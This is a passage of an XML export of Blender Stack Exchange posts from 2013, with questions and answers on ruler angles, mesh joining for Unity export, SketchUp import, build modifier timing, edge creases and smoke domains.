  <row Id="2333" PostTypeId="2" ParentId="2330" CreationDate="2013-08-12T12:22:46.417" Score="6" Body="&lt;p&gt;You can't enter an angle directly to define your edge angle. What you can do though is measuring the angle between two edges with the ruler tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just enable the tool in the toolbar (T) in the edit mode and add 2 measurement points: On the first vertex of the first edge and on the last vertex of the second edge by hitting (Ctrl)+(LMB) and dragging your ruler. Snap them to the vertices by holding (Ctrl). Finally, drag the middle point of the ruler line and drag it to the connection of the two edges (snap it again with (Ctrl)). The angle will be immediately shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the documentation here:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching/Ruler_and_Protractor&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching/Ruler_and_Protractor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-08-12T12:22:46.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2334" PostTypeId="2" ParentId="2330" CreationDate="2013-08-12T12:26:43.013" Score="16" Body="&lt;p&gt;As well as the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching/Ruler_and_Protractor&quot; rel=&quot;nofollow noreferrer&quot;&gt;ruler and protractor option&lt;/a&gt; that was &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Print_Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;added in blender 2.67&lt;/a&gt;, you can also display edge length and angles while you are editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.80+ you can find the length and angle options in the viewport overlay options menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LsGJp.jpg&quot; alt=&quot;viewport overlay options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For v2.7x, you can turn on these options under the Mesh Display panel of the properties region - &lt;kbd&gt;N&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AwNTZ.jpg&quot; alt=&quot;2.7x mesh display options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2019-11-18T08:35:36.213" LastActivityDate="2019-11-18T08:35:36.213" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2335" PostTypeId="2" ParentId="2326" CreationDate="2013-08-12T12:43:11.410" Score="8" Body="&lt;p&gt;If reloading the factory settings in File&gt;&gt;Load Factory Settings helps, then you can check your mouse settings in the user preferences, input tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qAtkH.png&quot; alt=&quot;change rotate and pan&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example, the checkboxes are set to pan with &lt;kbd&gt;MMB&lt;/kbd&gt; and rotate with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;MMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not the reason, it might be that you are in perspective mode and you have zoomed in a lot. Does the 3d view display 'Persp' in the top left corner? &lt;kbd&gt;NUMPAD&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt; or holding &lt;kbd&gt;NUMPAD&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt; will repair that.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2013-08-12T12:43:11.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2336" PostTypeId="1" CreationDate="2013-08-12T12:44:01.390" Score="7" ViewCount="1214" Body="&lt;p&gt;I'm using Blender for Unity3D game asset creation.  The Array Modifier does something great (see below) that I would love to be able to do for arbitrary collections of objects.  I'm hoping someone might provide instructions / pointers / plugin / ... to help achieve!  So...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An unapplied Array Modifier creates an entity that behaves like a single mesh during export but can still be modified easily (e.g. change the curve, parameters, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to 'group' arbitrary objects to export the same way (possibly sub-including the results of an Array Modifier).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A concrete example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A table comprises legs and top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The legs are identical so array-ed or group instanced (depending upon layout).  (Those legs might internally use Curve Modifier which we want to tweak in the future and their spacing might also need tweaking (picture doing this with a long curving fence if you're thinking manual answers!)).&#xA;On export, the arrayed legs appear as a single mesh (which appears in Unity3D as a single GameObject).  Perfect!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table top needs including (otherwise its separation degrades performance due to requiring an extra draw call).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Group&lt;/strong&gt;-ing in Blender does nothing (that I can tell?).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Parent&lt;/strong&gt;-ing them merely produces same parenting in Unity = same performance issue.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Join&lt;/strong&gt;-ing them will make the single object but prevent easy future modification.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Potentials&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My research found &lt;a href=&quot;https://blender.stackexchange.com/questions/105/is-it-possible-to-group-several-objects-and-then-manipulate-them-scale-rotate&quot;&gt;is-it-possible-to-group-several-objects-and-then-manipulate-them-scale-rotate&lt;/a&gt; which suggests both parenting and grouping but otherwise nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only potentials I see involves temporarily joining before / during export.  This seems annoying overhead.  'Before' requires keeping the blend files outside Unity losing the lovely auto-update.  IIUC Unity imports blend files through some magic Blender-invoking that does an FBX export.  'During' might involve some programming hooks that might join things during that export but not modify the original file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All thoughts welcome! Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1087" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-08-24T00:26:08.540" Title="Array Modifier creates something that exports as single mesh, how to create same through group/parent/etc?" Tags="&lt;objects&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2337" PostTypeId="2" ParentId="2330" CreationDate="2013-08-12T13:10:39.270" Score="8" Body="&lt;p&gt;Well, while there might be scripts helping with that, there are at least workarounds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can rotate with numerical input, in this example hitting &lt;kbd&gt;S&lt;/kbd&gt;,&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;3&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;,&lt;kbd&gt;RETURN&lt;/kbd&gt;. You can switch on Edge Info &gt;&gt; Face Angle to see what you are doing. And you can rotate around the 3D cursor so you can decide where your center of rotation is (&lt;kbd&gt;.&lt;/kbd&gt;,&lt;kbd&gt;,&lt;/kbd&gt; switches back). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An even newer solution would be to select the center vertex last with a &lt;kbd&gt;shift&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt; and then switch to 'Active Element' as pivot point &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;). Then you don't even need the 3D cursor for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need reusable functionality, you can consider using hooks or even armatures to control parts of the mesh from outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jy77V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-12T14:18:50.653" LastActivityDate="2013-08-12T14:18:50.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2338" PostTypeId="2" ParentId="2336" CreationDate="2013-08-12T15:02:39.550" Score="4" Body="&lt;p&gt;It seems that joining (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;) is exactly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joining shouldn't prevent future modification. &#xA;Within the joined mesh, there will still be two disjoint islands (or five, if each leg is disjoint): the table top and the rest of the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to separate it again to work with, you can use &lt;kbd&gt;P&lt;/kbd&gt; &amp;rarr; &lt;strong&gt;By Selection&lt;/strong&gt;. You can even, immediately after joining, save the table top as a vertex group so you don't have to worry about selecting it again later, although the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Modeling/Meshes/Selection#Select_Linked&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Select Linked&lt;/strong&gt;&lt;/a&gt; function (&lt;kbd&gt;L&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;  &lt;kbd&gt;L&lt;/kbd&gt;) should work for that anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other concerns for joining? If so, perhaps there's a workaround.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="599" LastEditDate="2013-08-12T18:27:50.937" LastActivityDate="2013-08-12T18:27:50.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2339" PostTypeId="2" ParentId="2331" CreationDate="2013-08-12T16:01:21.933" Score="5" Body="&lt;p&gt;Blender does not save unlinked datablocks. Thus linked datablock always has a user in the file it was linked from. To remove from your scene you must first click the make local button &lt;img src=&quot;https://i.stack.imgur.com/q0azr.png&quot; alt=&quot;&quot;&gt; and then it can be unlinked &lt;img src=&quot;https://i.stack.imgur.com/8GqgS.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-12T16:01:21.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2340" PostTypeId="2" ParentId="2336" CreationDate="2013-08-12T17:06:42.860" Score="-1" Body="&lt;p&gt;The only answer I could offer would be to write a python script that will take your selected objects (the objects you are hoping to export as 1 game object), duplicate them, join them into one object, call the fbx export operator and then delete the duplicated object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the benefit of automating the task for you, while leaving your original objects intact, but the disadvantage of not allowing unity to manage your files directly as you currently have.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-08-12T17:59:53.157" LastActivityDate="2013-08-12T17:59:53.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2342" PostTypeId="1" AcceptedAnswerId="2345" CreationDate="2013-08-12T19:53:29.560" Score="27" ViewCount="56487" Body="&lt;p&gt;I am new with Blender. I changed to it because now I am using Ubuntu. Previously on &lt;em&gt;Windows&lt;/em&gt; I used to work with SketchUp, and I still have many projects, that I would like to import *.skp into Blender to continue modeling and or rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any way how I could import SketchUp's &lt;code&gt;.skp&lt;/code&gt; file into Blender?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="290" LastEditDate="2013-08-12T21:53:32.170" LastActivityDate="2018-06-19T12:03:49.060" Title="Import SketchUp &quot;.skp&quot; files" Tags="&lt;import&gt;&lt;file-format&gt;&lt;compatibility&gt;" AnswerCount="8" CommentCount="8" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2343" PostTypeId="2" ParentId="1723" CreationDate="2013-08-12T19:54:34.467" Score="-1" Body="&lt;p&gt;In Blender 2.68, all three options are supported for smoke.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Animated&lt;/strong&gt;: used with objects with animation. It allows the smoke simulator to calculate the predefined animation path of the object. It leaves the path of animation from smoke simulation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Rigid&lt;/strong&gt;: used with rigid bodies. To use this option, set an object as a Rigid Body and a rigid Smoke collider. This allows a smoke trail behind rigid body, within the domain of the smoke.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is what I understand about these options with simple test. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://www.pasteall.org/blend/23368&quot; rel=&quot;nofollow noreferrer&quot;&gt;this file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layer 1 = Animated&lt;br&gt;&#xA;Layer 2 = Rigid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Ualk.png&quot; alt=&quot;Animated&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fKZet.png&quot; alt=&quot;Rigid&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="372" LastEditDate="2013-08-13T01:02:13.360" LastActivityDate="2013-08-13T01:02:13.360" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2344" PostTypeId="2" ParentId="2342" CreationDate="2013-08-12T20:24:40.230" Score="9" Body="&lt;p&gt;&lt;code&gt;.skp&lt;/code&gt; is a closed file format, this means the specifications for the file are only available to  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;developers with access to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_development_kit&quot;&gt;SDK&lt;/a&gt; (Software Development Kit) and therefore have accepted the licensing terms for the SDK (which is incompatible with Blender's license). &lt;/li&gt;&#xA;&lt;li&gt;developers who are willing to stick time into reverse engineering it. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is unlikely that blender will get a way to import &lt;code&gt;.skp&lt;/code&gt; files directly because there are several alternative ways to get models from SketchUp into Blender. Exporting as Collada &lt;code&gt;.dae&lt;/code&gt; format from SketchUp works very well.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-08-12T20:32:21.570" LastActivityDate="2013-08-12T20:32:21.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2345" PostTypeId="2" ParentId="2342" CreationDate="2013-08-12T20:31:55.933" Score="14" Body="&lt;p&gt;There isn't a direct importer for &lt;code&gt;.skp&lt;/code&gt; files into Blender. Given your situation of being on linux at the moment, your best option is to get access to a windows machine and export to either &lt;code&gt;.obj&lt;/code&gt; or &lt;code&gt;.dae&lt;/code&gt; and import into Blender. If you are using the free version of sketchup, you might have to go through a few more steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an article of an extension on how to do this &lt;a href=&quot;https://sites.google.com/site/alexvaqp/sketchupblender&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run Sketchup on Linux you can use wine for instructions With a web search &lt;a href=&quot;http://www.dedoimedo.com/computers/sketchup-ubuntu-xerus.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; was found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps an extension on Sketchup might be &lt;a href=&quot;http://sketchup2blender.com/blendup-get-started&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sketchup2blender.com/blendup-get-started&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="35777" LastEditDate="2017-02-15T10:53:48.260" LastActivityDate="2017-02-15T10:53:48.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2346" PostTypeId="1" CreationDate="2013-08-12T20:37:47.193" Score="2" ViewCount="1262" Body="&lt;p&gt;I have a ton of things building in my file, but I need to be able to retime them. So say I have on part starting to build at 200frames and it builds for 100frames. I need to be able to change the start time from 200 to say 320 in a fast and easy way. Preferable from the dopesheet or graph editor. Because I have over 100 animating objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add the build modifier timing to the dopesheet so build animations can be retimed?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="241" LastEditDate="2020-06-06T16:41:14.710" LastActivityDate="2020-06-06T16:41:14.710" Title="Add build Modifier to Dope Sheet?" Tags="&lt;modifiers&gt;&lt;build-modifier&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2013-08-13T01:02:53.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="2347" PostTypeId="1" AcceptedAnswerId="2350" CreationDate="2013-08-12T20:50:34.820" Score="4" ViewCount="412" Body="&lt;p&gt;I manually aligned each vertext of both marked edge loops in the first image shown (additional edge loops on mudguard and the doors). When a subsurf modifier is added the gap becomes too large as shown in the second image, is there a better technique than realign vertex by vertex after adding the modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Oe22.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CRcOu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-08-12T21:02:26.653" LastActivityDate="2017-11-29T20:31:12.167" Title="How can Edge Loops stay aligned when using the Subsurf Modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2348" PostTypeId="2" ParentId="1633" CreationDate="2013-08-12T20:53:12.597" Score="4" Body="&lt;p&gt;There are a number of places that affect texture scale:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Basics/Scale&quot; rel=&quot;nofollow&quot;&gt;Object scale&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV&quot; rel=&quot;nofollow&quot;&gt;UV&lt;/a&gt; scale, see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Layout_Editing&quot; rel=&quot;nofollow&quot;&gt;UV editing&lt;/a&gt; and the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/UV_Warp&quot; rel=&quot;nofollow&quot;&gt;UV Warp modifier&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Texture space: &lt;kbd&gt;Object | Transform | Scale Texture Space&lt;/kbd&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt;). For numeric input see the &lt;em&gt;Texture Space&lt;/em&gt; panel under &lt;em&gt;Object data&lt;/em&gt; tab of the &lt;em&gt;Properties&lt;/em&gt; editor.&lt;/li&gt;&#xA;&lt;li&gt;Image mapping:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For BI this is found in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Mapping&lt;/em&gt; panel&lt;/a&gt; of the Texture tab of the  &lt;em&gt;Properties&lt;/em&gt; editor.&lt;/li&gt;&#xA;&lt;li&gt;For Cycles this is done using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Mapping&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Mapping&lt;/em&gt; node&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-12T20:53:12.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2349" PostTypeId="2" ParentId="2347" CreationDate="2013-08-12T21:07:09.920" Score="4" Body="&lt;p&gt;The simplest solution is to put more parallel edgeloops there. Edges that are close together have more power over the subsurf modifier and create sharper turns. If your topology is clean, the loopcut &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; works nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also select edgeloops with &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; and sharpen them with an edge crease &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; (&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;RETURN&lt;/kbd&gt;). I mostly use that with numerical input. &lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-12T22:00:51.110" LastActivityDate="2013-08-12T22:00:51.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2350" PostTypeId="2" ParentId="2347" CreationDate="2013-08-12T21:18:10.443" Score="6" Body="&lt;p&gt;Set the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf#Weighted_Creases&quot; rel=&quot;nofollow&quot;&gt;edge &lt;em&gt;Crease&lt;/em&gt; weight&lt;/a&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; or &lt;em&gt;&lt;kbd&gt;Properties shelf&lt;/kbd&gt; &lt;kbd&gt;Transform panel&lt;/kbd&gt; &lt;kbd&gt;Mean Crease&lt;/kbd&gt;&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Weighted edge creases for subdivision surfaces allows you to change the way Subsurf subdivides the geometry to give the edges a smooth or sharp appearance.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The crease weight of selected edges can be changed using Transform Properties (&lt;kbd&gt;N&lt;/kbd&gt;) and change the Median Transform slider. A higher value makes the edge “stronger” and more resistant to subsurf. Another way to remember it is that the weight refers to the edge’s sharpness. Edges with a higher weight will be deformed less by subsurf. Recall that the subsurfed shape is a product of all intersecting edges, so to make the edges of an area sharper, you have to increase the weight of all the surrounding edges. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="372" LastEditDate="2013-10-24T03:58:39.687" LastActivityDate="2013-10-24T03:58:39.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2351" PostTypeId="1" AcceptedAnswerId="2353" CreationDate="2013-08-12T21:34:14.060" Score="28" ViewCount="7604" Body="&lt;p&gt;Is there a way to take a mesh, cut it with seams or sharp edges and flatten it, so that the faces stay the same shape and size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making paper models is one aspect, where you could use that technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, I'm afraid &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;Return&lt;/kbd&gt; is not going to do it properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And misusing the UV-unwrap is only a last option.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, while it's an option to revert to Blender 2.49 which had a script to do this, I'd like a solution that I can use inside the current workspace.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="55" LastEditDate="2015-06-03T23:19:16.300" LastActivityDate="2020-01-31T16:58:23.433" Title="Is there a way to unfold a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2352" PostTypeId="2" ParentId="2346" CreationDate="2013-08-12T21:41:35.170" Score="4" Body="&lt;p&gt;While it's not the Dopesheet, but the Graph Editor, yes, there's a workaround to retime it. Animate the start frame of the build modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far the build modifier cannot easily be animated by percentage or face count (without using python). And the speed curve does not work with modifiers as of yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround to achieve variable speed is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The build modifier is controlled by two values. Start and length. For this approach, length should be set to either 100.0 for easy calculation or to the facecount, if desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is to animate the start value in respect to the current frame. Here are the rules: The modifier is stopping it's progress if you animate the start frame in parallel to the frame number. Start frame 50 in frame 50, start frame 90 in frame 90 (don't forget to set the IPO curve (sorry, I mean F-Curve) to linear or you won't be synchronous due to the ease in and ease out nature of the beziers). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The build modifier progresses forward if the start value rises slower than the frame number: &#xA;length 100, &#xA;start frame 50 at frame 50&#xA;start frame 100 at frame 150 (offset of 50)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will make the build modifier progress at half speed until the 50% mark and then progress at full speed, if nothing else is animated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever the start value is identical to the frame number, the modifier is at 0.0 per cent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the formula with which to calculate animation values is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;start value = frame number - (length / 100 * percentage)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the values in properties&gt;&gt;modifiers&gt;&gt;build modifier panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at it a little bit like two cars, one moving at constant speed (frame number) and another catching up or falling behind (start value of the build modifier). The distance between the two cars defines the amount of built faces.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-14T01:53:42.127" LastActivityDate="2013-08-14T01:53:42.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2353" PostTypeId="2" ParentId="2351" CreationDate="2013-08-12T21:42:49.243" Score="23" Body="&lt;p&gt;There is an exporter for paper models, it even has a &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Paper_Model&quot;&gt;Blender Wiki Page&lt;/a&gt; with in depth usage guidelines.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information and plenty of examples of successful use cases you can read the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?186071-Export-Paper-Model-Script-for-2-6-WIP&amp;amp;p=1627111#post1627111&quot;&gt;BlenderArtists&lt;/a&gt; thread by the developer of the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;seams&lt;/code&gt; like you would for any regular texturing job, experiment with simple geometry first. Here is an icosphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fsaww.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-08-12T22:00:15.460" LastActivityDate="2013-08-12T22:00:15.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2354" PostTypeId="2" ParentId="2109" CreationDate="2013-08-13T02:56:09.353" Score="9" Body="&lt;p&gt;It &lt;strong&gt;is&lt;/strong&gt; possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create multiple working domains, but the whole process seems a bit awkward and only sometimes works, without any recognizable pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way I found that seems to consistently work as expected is to &lt;strong&gt;create your domains on separate layers&lt;/strong&gt;.&lt;br&gt;&#xA;If you need more than 20 domains, they sometimes work on the same layer, but I have not found what it is that makes/breaks them when they are on the same layer.&lt;br&gt;&#xA;Most of the time it seems to work if &lt;strong&gt;the one domain that runs in real time is baked first&lt;/strong&gt;, then the next domain that runs in real time, and the next, etc.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create domains, on separate layers. Note that Separate domains &lt;em&gt;can&lt;/em&gt; share the same &lt;em&gt;Flow&lt;/em&gt; objects; however, they will not interact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5UIZ8.png&quot; alt=&quot;An example scene in the 3D view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMhue.png&quot; alt=&quot;The layers panel, showing which are in use&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, each domain is on a separate layer, and each flow object is visible on all layers with a domain object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake each one individually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the selected domain is always displayed above the others. Here is the domain that covers all the &lt;em&gt;inflow&lt;/em&gt; objects selected (top) and unselected (bottom) so it's more visible that the domains share the same &lt;em&gt;inflow&lt;/em&gt; objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SFsvE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zTzGn.png&quot; alt=&quot;enter image description 